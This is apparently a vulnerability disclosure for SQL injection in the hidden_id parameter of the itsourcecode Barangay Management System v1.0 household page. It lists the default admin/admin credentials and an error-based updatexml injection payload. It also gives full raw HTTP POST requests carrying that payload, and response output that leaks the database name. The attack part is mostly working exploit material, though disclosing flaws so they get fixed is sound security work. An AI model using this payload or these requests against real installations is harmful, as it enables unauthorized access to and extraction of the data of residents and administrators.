Barangay Management System v1.0 by itsourcecode.com has SQL injection

The decompression password for the source file is itsourcecode.

Login account: admin/admin (Super Admin account)

vendors: https://itsourcecode.com/free-projects/php-project/barangay-management-system-project-in-php-with-source-code/

Vulnerability File: /bmis/pages/household/household.php

Vulnerability location: /bmis/pages/household/household.php,hidden_id

[+] Payload: hidden_id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+ // Leak place ---> hidden_id

```
POST /bmis/pages/household/household.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
```

```
Referer: http://192.168.1.19/bmis/pages/household/household.php
Cookie: sessions=aj0k5o11d743ingah9kp1b0ejntrqer6; PHPSESSID=fbu82ocu8kd37b5b20uqq71
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 153

hidden_id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+&hiddennum=1
```

```
/bmis/pages/household/household.php HTTP/1.1
Host: 192.168.1.19
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Referer: http://192.168.1.19/bmis/pages/household/household.php
Cookie: sessions=aj0k5o11d743ingah9kp1b0ejntrqer6; PHPSESSID=fbu82ocu8kd37b5b20uqq71a35; _ga=GA1.1.1382961971.1655097107; _gid=GA1.1.804632123.1655097107
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 153

hidden_id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),0)--+&hiddennum=1&txt_edit_zone=1&txt_edit_totalmembers=&btn_save=Save&table_length=10
```

```
    function show_head(){
        var householdID = $('#txt_householdno').val();
        console.log(householdID);
        if(householdID){
            $.ajax({
                type:'POST',
                url:'household_dropdown.php',
                data: 'hhold_id='+householdID,
                success:function(html){
                    $('#txt_hof').html(html);
                }
            });
        }
    }


    function show_total(){
        var totalID = $('#txt_hof').val();
        console.log(totalID);
        if(totalID){
            $.ajax({
                type:'POST',
                url:'household_dropdown.php',
                data: 'total_id='+totalID,
                success:function(html){
                    $('#txt_totalmembers').html(html);
                }
            });
        }
    }

</script>
            Error: XPATH syntax error: '~db_barangay~'
```